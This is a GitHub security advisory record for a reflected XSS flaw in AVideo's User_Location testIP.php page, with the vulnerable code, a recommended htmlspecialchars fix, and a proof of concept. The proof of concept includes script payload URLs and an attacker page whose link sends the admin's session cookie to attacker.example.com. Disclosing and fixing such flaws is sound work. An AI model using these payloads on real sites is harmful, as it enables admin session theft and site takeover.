{"id":"GHSA-jqrj-chh6-8h78","summary":"AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php","details":"## Summary\n\nThe User_Location plugin's `testIP.php` page reflects the `ip` request parameter directly into an HTML input element without applying `htmlspecialchars()` or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's `SameSite=None` cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.\n\n## Details\n\nAt `plugin/User_Location/testIP.php:16`, the `ip` parameter is read from the request without sanitization:\n\n```php\n$ip = $_REQUEST['ip'];\n```\n\nAt line 34, the value is echoed directly into an HTML input element's `value` attribute:\n\n```php\n\u003cinput type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"\u003c?php echo $ip; ?\u003e\"\u003e\n```\n\nNo `htmlspecialchars()` is applied, allowing an attacker to break out of the `value` attribute and inject arbitrary HTML/JavaScript.\n\nWhile the page requires admin authentication to access, AVideo sets session cookies with `SameSite=None`. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.\n\n## Proof of Concept\n\n1. Craft a URL with a payload that breaks out of the input value attribute:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n```\n\n2. URL-encoded version for embedding in links:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\n```\n\n3. The resulting HTML rendered in the browser:\n\n```html\n\u003cinput type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"\u003e\n```\n\n4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:\n\n```html\n\u003c!-- attacker-page.html --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cp\u003eClick here to check your IP geolocation:\u003c/p\u003e\n\u003ca href=\"https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E\"\u003e\n  Check IP Location\n\u003c/a\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n5. When an admin clicks the link, their session cookie is sent (due to `SameSite=None`), and the JavaScript executes in their authenticated session.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses `SameSite=None` for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n- **Severity**: Medium\n\n## Recommended Fix\n\nApply `htmlspecialchars()` when outputting the `$ip` variable at `plugin/User_Location/testIP.php:34`:\n\n```php\n// plugin/User_Location/testIP.php:34\n\u003cinput type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"\u003c?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?\u003e\"\u003e\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-34739"],"modified":"2026-04-01T21:26:22.830950Z","published":"2026-04-01T21:08:14Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-01T21:08:14Z","nvd_published_at":"2026-03-31T21:16:32Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-jqrj-chh6-8h78"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34739"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/31e6888e40be89cc2ab27d4cef449f6d8339ffb2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jqrj-chh6-8h78/GHSA-jqrj-chh6-8h78.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}